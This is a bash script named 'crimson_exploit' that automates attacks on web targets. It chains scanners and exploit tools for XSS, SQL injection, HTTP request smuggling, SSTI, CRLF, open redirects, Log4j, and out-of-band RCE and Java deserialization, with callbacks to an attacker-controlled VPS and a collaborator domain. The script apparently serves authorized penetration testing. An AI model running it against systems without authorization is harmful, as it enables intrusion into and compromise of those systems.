crimson_exploit

### CREATED BY KARMAZ
#
## FUNCTIONS:
#
# 1. FUZZING PATHS IN URLS FROM dirs.txt WITH CUSTOM PAYLOADS
# 2. FUZZING PARAMS IN URLS FROM params.txt WITH CUSTOM PAYLOADS
# 3. TESTING FOR XSS
# 4. TESTING HTTP REQUEST SMUGGLING
# 5. TESTING PROTOTYPE POLLUTION
# 6. TESTING FOR BROKEN LINKS
# 7. TESTING SQLI
# 8. TESTING OUT-OF-BOUND RCE/SSRF
# 9. TESTING JAVA DESERIALIZATION
# 10. TESTING CRLF INJECTION
# 11. TESTING FOR OPEN REDIRECTION
# 12. TESTING CVES
# 13. TESTING HEADER INJECTIONS
#
## LISTS:
#
# 1. bug_params.txt         - Fuzzing output
# 2. bug_dirs.txt           - Fuzzing output
# 3. vuln_xss               - Output from XSSstrike with vulnerable urls ready to open in browser
# 4. nuclei.txt             - Output from nuclei scanning
# 5. smuggler.txt           - Output after testing for HTTP request smuggling.
# 6. prototype-pollution.txt- Potentailly vulneable params to prototype pollution.
# 7. broken_links.txt       - Output from BLC
# 8. sqli/                  - Output from sqlmap
# 9. oob.txt                - Log after OAST  
# 10. CRLF.txt              - Output from crlfuzz
# 11. OR.txt                - Potentailly vulnerable URLS to Open Redirect vulnerability
# 12. dalfox.txt            - Output from dalfox
# 13. SSTI.txt              - Output from crimson_templator with SSTI vulnerable urls.
# 14. SSTImap.txt           - Output from SSTImap
# 15. headi.txt             - Otput from headi
#
## WORKFLOW
#
# 0. Start BURP - optional step
#   - Create new project - www.example.tld
#   - Turn off interception
# 1. Start vps listener and collaborator server
# 2. Start the script
#   - You will be asked to remove false positives from exp/dirs.txt and exp/params.txt
#   - Remove them and run the script again as before.
# 3. Check the output listed above (LISTS)
# 4. Look for [ID] [TIME] in oob.txt and compare it to pings on your vps / collaborator
#
###

### Catch crash in trap and save the function name in anchor.log
trap 'echo $anchor > anchor.log && exit 1' SIGINT
trap 'echo $anchor > anchor.log && exit 1' SIGHUP
trap 'echo $anchor > anchor.log && exit 1' SIGKILL
trap 'echo $anchor > anchor.log && exit 1' SIGTERM

anchor_check() {
	### 0.RETRY FUNCTION IF IT'S NOT IN anchor.log
	anchor="$1"
	[ ! -f "anchor.log" ] && return 0
	if grep -q "$1" "anchor.log"; then
		rm "anchor.log"; return 0
	else
		return 1
	fi
}

clear_log() {
    ### REMOVE TRASH
    rm temp_params.txt 2>/dev/null
    rm temp_dirs.txt 2>/dev/null
    rm temp_or_test.txt 2>/dev/null
    ### REMOVE EMPTY FILES AND DIRECTORIES
    find . -type d -empty -print -delete -o -type f -empty -print -delete >/dev/null 2>&1
    ### REMOVING LOG IF PROGRAM EXIT NORMALLY
	if [ -f "anchor.log" ]; then
			rm "anchor.log"
	fi
}
### ---

### ALL FUNCTIONS:
review_the_content_of_files() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m CHECK dirs.txt and params.txt"
    echo -e "\033[0;31m [+][+]\033[0m REMOVE TRASH MANUALLY"
    echo -e "\033[0;31m [+][+][+]\033[0m RE-RUN CRIMSON_EXPLOIT"
    echo "continue_crimson_exploit" > "anchor.log"
    exit 1
}

continue_crimson_exploit() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m WORDLISTS SUCCESSFULLY EDITED - CONTINUING THE SCRIPT EXECUTION"
    python3 "$HOME/tools/crimson/scripts/crimson_paramjuggler.py" -l params.txt -p "FUZZ" >> temp_params.txt
}

merge_params_dirs() {
    anchor_check "${FUNCNAME[0]}" || return 0
    sort -u dirs.txt | anew all.txt > /dev/null
    cat params.txt | anew all.txt > /dev/null
}

nuclei_scan_all() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m RUNNING NUCLEI"
    git clone https://github.com/projectdiscovery/nuclei-templates.git > /dev/null 2>&1
    rm -rf nuclei-templates/token-spray > /dev/null 2>&1
    nuclei -et "token-spray,misconfiguration/http-missing-security-headers.yaml" -H "$cookie" -fr -mhe 300 -headless -l all.txt -t nuclei-templates/ -o nuclei.txt -stats -silent
}

log4j_scan() {
	### LOG4J-SCAN
	anchor_check "${FUNCNAME[0]}" || return 0
	echo -e "\033[0;31m [+]\033[0m STARTING LOG4J SCAN"
	cp /root/tools/log4j-scan/headers.txt headers.txt
	/root/tools/log4j-scan/log4j-scan.py -l all.txt --custom-dns-callback-host "$collaborator_domain" > log4j.txt
	rm headers.txt
}

test_xss_with_xsstrike() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m LOOKING FOR XSS VULNERABILITIES WITH XSS-STRIKE"
    python3 "$HOME"/tools/XSStrike/xsstrike.py --seeds all.txt -t 50 --log-file xss --file-log-level VULN
}

test_xss_with_dalfox() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m LOOKING FOR XSS VULNERABILITIES WITH DALFOX"
    cat all.txt | dalfox pipe --mass --silence --no-color -o dalfox.txt
}

test_oob_with_goast() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING OUT-OF-BOUND INTERACTIONS (OOB)"
    go run "$HOME"/tools/crimson/scripts/GOAST/GOAST.go -p "$HOME/tools/crimson/words/exp/OOB" -u "params.txt" -o oob.txt -d "$collaborator_domain" -i "$vps_ip" -y "$HOME/tools/crimson/scripts/GOAST/ysoserial.jar" -h "$cookie" > /dev/null
}

test_crlf_with_crlfuzz() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING FOR CRLF INJECTIONS IN URL"
    crlfuzz -l all.txt -s | tee -a CRLF.txt
}

test_open_redirections_with_wfuzz() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING FOR OPEN REDIRECTIONS IN URL"
    cat dirs.txt | sed "s/$/FUZZ/"  >> temp_or_test.txt
    cat temp_params.txt >> temp_or_test.txt
    custom_i=0; 
    cat temp_or_test.txt | while IFS= read -r line in; do custom_i=$((custom_i+1)) && wfuzz -f temp_OR$custom_i.txt,raw -Z -z file,"$HOME"/tools/crimson/words/exp/OR --sc 300,301,302,303,304,305,306,307,308 -H "$cookie" --field url "$line" | tail -n+11 ;done
    sort -u  temp_OR* | grep "http" | grep -v "Pycurl" | grep -v "^Target" >> OR.txt
    rm temp_OR*
}

test_ssti() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING FOR SERVER SIDE TEMPLATE INJECTIONS USING crimson_templator"
    python3 "$HOME"/tools/crimson/scripts/crimson_templator.py -w params.txt -c "$cookie" -o SSTI.txt
    echo -e "\033[0;31m [+]\033[0m TESTING FOR SERVER SIDE TEMPLATE INJECTIONS USING SSTImap"
    for url in $(cat all.txt)
    do
        echo "[*] TESTING - $url" | tee -a SSTImap.txt
        python3 /root/tools/SSTImap/sstimap.py -u $url -H "$cookie" | tail -n +17 | tee -a SSTImap.txt
    done
}

test_smuggling_with_smuggler(){
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING HTTP REQUESTS SMUGGLING"
    cat all.txt | python3 "$HOME"/tools/smuggler/smuggler.py -l smuggler.txt -q > /dev/null
}

test_broken_links_with_blc() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m LOOKING FOR BROKEN LINKS"
    cat all.txt | while IFS= read -r url; do blc "$url" -ro | grep -v "Getting links from:" >> broken_links.txt ;done
    sed -i '/Error: HTML could not be retrieved/d' ./broken_links.txt 
}

test_sqli_with_sqlmap() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING SQLI"
    sqlmap -m params.txt -b --batch -o -v 0 -H "$cookie" - --output-dir=sqli --banner 
}

test_header_injections_with_headi() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING HEADER INJECTION"
    cat "$HOME"/tools/crimson/words/exp/headi.txt | sed "s/vps_ip/$vps_ip/" | sed "s/domain_collab/$collaborator_domain/" > temp_headers.txt
    cat all.txt | while IFS= read -r i; do headi --url "$i" -p temp_headers.txt >> header_injections.txt ;done
    rm temp_headers.txt
}

test_prototype_pollution_with_plution() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m TESTING PROTOTYPE POLLUTION WITH plution"
    cat all.txt | plution | grep "Vulnerable\!" >> prototype-pollution.txt
}

parameter_fuzzing_with_wfuzz() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m PARAMETERSLS FUZZING"
    ### FUZZ ALL URLS IN params.txt WITH bug WORDLIST > bug_params.txt
    custom_i=0;
    cat temp_params.txt | while IFS= read -r line; do custom_i=$((custom_i+1)) && wfuzz -f temp_bug$custom_i.txt,raw -Z -z file,"$fuzzing_wordlist" -H "$cookie" "$line" | tail -n+11; done
    sort -u  temp_bug* | grep "http" | grep -v "Pycurl" | grep -v "^Target" > bug_params.txt
    rm temp_bug*
}

dirs_fuzzing_with_wfuzz() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m DIRECTORIES FUZZING"
    ### FUZZ ALL URLS IN dirs.txt WITH bug WORDLIST > bug_dirs.txt
    wfuzz -f bug_dirs.txt,raw -L -Z -z file,dirs.txt -z file,"$fuzzing_wordlist" -H "$cookie" FUZZFUZ2Z
}

open_all_xss_in_firefox() {
    anchor_check "${FUNCNAME[0]}" || return 0
    echo -e "\033[0;31m [+]\033[0m OPEN VULNERABLE XSS IN FIREFOX USING:
    wget https://github.com/Karmaz95/crimson/blob/master/scripts/crimson_opener/crimson_opener.py
        => python crimson_opener.py -o vuln_xss "
    cat xss | grep "Vulnerable webpage" | cut -d " " -f 9 | sed "s/^.....//" | sed "s/....$//" > url_XSS
    cat xss | grep Vector | cut -d " " -f 9 | sed "s/^.....//" | sed "s/.....$//" > param_XSS
    cat xss | grep Vector | cut -d " " -f 10  > payload_XSS
    paste url_XSS param_XSS payload_XSS | cat -A | sed 's/\^I/\?/' | sed 's/\^I/=/' | sed -r 's/(.*)\$/\1 /' > vuln_xss && rm url_XSS param_XSS payload_XSS
}

print_help() {
    echo " Usage: prepare two files in the current directory and use crimson_exploit command:
    
    [*] dirs.txt - file with directories to check:
        https://target/directory1/
        https://target/directory2/
        https://target/
    [*] params.txt - file with parameters to check:
        https://target/example?a=1b=2
        https://target?param=asd

        # Optional flags are shown below:
        -c \"Cookie: auth1=123;\"
        -i 123.123.123.123 # IP for OAST testing - run below commands on the VPS server
                        # start: sudo tcpdump -i eth0 icmp
                        # start: sudo python3 -m http.server 80
        -d domain.burp     # DOMAIN for OAST testing
        -x # Fuzzing all.txt with given wordlist
           # Use '' for a default one /root/tools/crimson/words/bug
        -n # NUCLEI scan on all urls
        -o # Test open redirection vulnerabilities on all urls"
}
### ---
fuzzing_on=0
opening_on=0
nuclei_on=0
redir_on=0
while getopts "c:d:i:x:noh" OPTION; do
    case $OPTION in
    c)
        cookie=$OPTARG
        ;;
    d)
        collaborator_domain=$OPTARG
        ;;
    i)
        vps_ip=$OPTARG
        ;;
    x)
        fuzzing_on=1
        fuzzing_wordlist=$OPTARG
        if [ fuzzing_wordlist == '' ]
        then
            fuzzing_wordlist="$HOME/tools/crimson/words/bug"
        fi
        ;;
    n)
        nuclei_on=1
        ;;
    o)
        redir_on=1
        ;;
    h)
        print_help
        exit 1
        ;;
    *)
        echo "Incorrect options provided"
        exit 1
        ;;
    esac
done

### CHECK IF USER SET A COOKIE IF NOT SET IT TO a
if [ -z "$cookie" ]
then
    export cookie="Cookie: a=1;";
else
    export cookie=$cookie;
fi

if [ ! -f dirs.txt ] || [ ! -f params.txt ]
then
    print_help
    exit 1
else
### REVIEW THE CONTENT OF FILES
review_the_content_of_files
### CONTINUE THE EXECUTION
continue_crimson_exploit
### MERGE (params.txt) AND (dirs.txt) > all.txt
merge_params_dirs
### CHECK VULNS USING NUCLEI TEMPLATES
if [ $nuclei_on == 1 ]
then
    nuclei_scan_all
fi
### CHECK FOR XSS VULNERABILITY in all.txt > vuln_xss
test_xss_with_xsstrike
### TEST XSS USING DAFLOX > dalfox.txt
test_xss_with_dalfox

if [ ! -z "$collaborator_domain" ] && [ ! -z "$vps_ip" ]
then
    ### CHEK FOR LOG4J > log4j.txt
    log4j_scan
    ### TEST OOB > oob.txt (TESTS JAVA DESERIALIZATION)
    test_oob_with_goast
fi
### TEST CRLF > CRLF.txt
test_crlf_with_crlfuzz
### TEST SSTI > SSTI.txt
test_ssti
### TEST HTTP REQUEST SMUGGLING > smuggler.txt
test_smuggling_with_smuggler
### TEST BROKEN  LINKS > broken_links.txt
test_broken_links_with_blc
### TEST SQLi > sqli/
test_sqli_with_sqlmap
### TEST FOR PROTOTYPE POLLUTION = prototype-pollution.txt
test_prototype_pollution_with_plution
### TEST HEADER INJECTIONS > header_injections.txt 
if [ -z "$collaborator_domain" ] && [ -z "$vps_ip" ]
then
    collaborator_domain=""
    vps_ip=""
    test_header_injections_with_headi
else
    test_header_injections_with_headi
fi
### --- FUZZING SECTION --- ### -x
if [ $fuzzing_on == 1 ]
then
    if [ -s "params.txt" ]
    then
        parameter_fuzzing_with_wfuzz
    else
        echo " [-] params.txt IS EMPTY"
    fi

    if [ -s "dirs.txt" ]
    then
        dirs_fuzzing_with_wfuzz
    else
        echo " [-] dirs.txt IS EMPTY"
    fi
fi
### --- END OF FUZZING SECTION --- ###    
### TEST OR > OR.txt
if [ $redir_on == 1 ]
then
    test_open_redirections_with_wfuzz
fi
### OPEN ALL XSS IN FIREFOX FOR MANUAL REVIEW
open_all_xss_in_firefox
### REMOVE TRASH AND anchor.log
clear_log
### CHECK FILES
echo -e "\033[0;31m [+]\033[0m CHECK FILES: 
    - vuln_xss
    - oob.txt
    - smuggler.txt 
    - CRLF.txt
    - OR.txt
    - broken_links.txt 
    - SSTI.txt 
    - dalfox.txt
    - prototype-pollution.txt
    - header_injections.txt"
fi